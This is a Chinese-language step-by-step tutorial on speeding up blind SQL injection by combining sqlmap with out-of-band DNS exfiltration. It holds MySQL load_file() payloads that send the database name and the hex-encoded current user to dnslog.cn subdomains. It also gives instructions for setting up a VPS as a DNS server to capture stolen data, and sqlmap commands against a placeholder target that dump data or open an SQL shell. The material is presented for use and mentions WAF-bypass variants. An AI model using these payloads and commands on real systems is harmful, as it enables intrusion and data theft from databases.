手把手带你利用SQLmap结合OOB技术实现音速盲注
字数 1015 2025-08-18 11:39:12
SQLmap结合OOB技术实现高效盲注教学文档
一、概述与使用场景
1.1 技术背景
- 传统时间盲注效率低下,注入表名可能需要数小时
- OOB(Out of Band)带外通信技术可显著提高注入速度
- 结合DNSlog平台和SQLmap可实现自动化高效注入
1.2 适用场景
- 存在注入点但无回显
- 目标服务器DNS请求可达外网
- 数据库函数(如MySQL的load_file())可用
- Windows主机环境(本文基于Windows实现)
二、核心原理
2.1 UNC路径原理
- UNC(Universal Naming Convention)通用命名规则
- 格式:
\\servername\sharename - 使用UNC路径时会发起DNS查询请求
2.2 DNS迭代查询
- 购买可配置域名(如fuzi666.xyz)
- 设置域名的nameserver为自有VPS
- 在VPS上配置DNS Server
- 所有子域名查询都会经过VPS,可实时监控
2.3 OOB技术实现方式
方式一:自定义字符串带出
select load_file('\\\\mygod.kccj9o.dnslog.cn\\111');
方式二:带出数据库名
select load_file(concat(database(),'.pz3vky.dnslog.cn\\111'));
方式三:处理特殊字符(16进制编码)
select load_file(concat(hex(user()),'.pz3vky.dnslog.cn\\111'));
三、环境搭建
3.1 域名与VPS准备
- 购买域名(如阿里云最便宜5元/年)
- 购买VPS(1核1G Ubuntu主机)
- 完成域名实名认证(需等待数小时生效)
3.2 DNS解析配置(阿里云)
- 进入域名控制台
- 修改DNS设置,填写自有VPS IP
- 添加解析记录:
- 主机记录:ns1, ns2, *
- 记录值:VPS IP地址
- 测试DNS解析是否正常:
tcpdump -n port 53
3.3 故障排查
- 检查防火墙:
sudo ufw disable - 检查VPS安全组策略,确保53端口开放
四、SQLmap实战应用
4.1 环境准备
- VPS安装Python2(通常已预装)
- 安装SQLmap:
git clone git://github.com/sqlmapproject/sqlmap.git
4.2 传统盲注与OOB效率对比
传统时间盲注(耗时约1分46秒):
python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1" --tech=T --dbms=mysql --current-db --batch
OOB注入(耗时约1秒):
python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1" --tech=T --dbms=mysql --dns-domain=fuzi666.xyz --current-db --batch
4.3 高级应用
获取SQL Shell:
python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1" --tech=T --dbms=mysql --dns-domain=13fuzi.com --sql-shell --batch
查询数据库名(耗时约4秒):
select schema_name from information_schema.schemata;
五、注意事项
- 注入前清除SQLmap缓存:
- 缓存位置:
/root/.sqlmap/output/ - 清除命令:删除对应缓存文件
- 缓存位置:
- 确保目标服务器load_file()函数可用
- 特殊字符需进行16进制编码处理
- Windows环境UNC路径默认支持,Linux需额外配置
六、扩展学习
- 其他OOB利用姿势
- 不同数据库的OOB实现方式
- 绕过WAF的OOB技术变种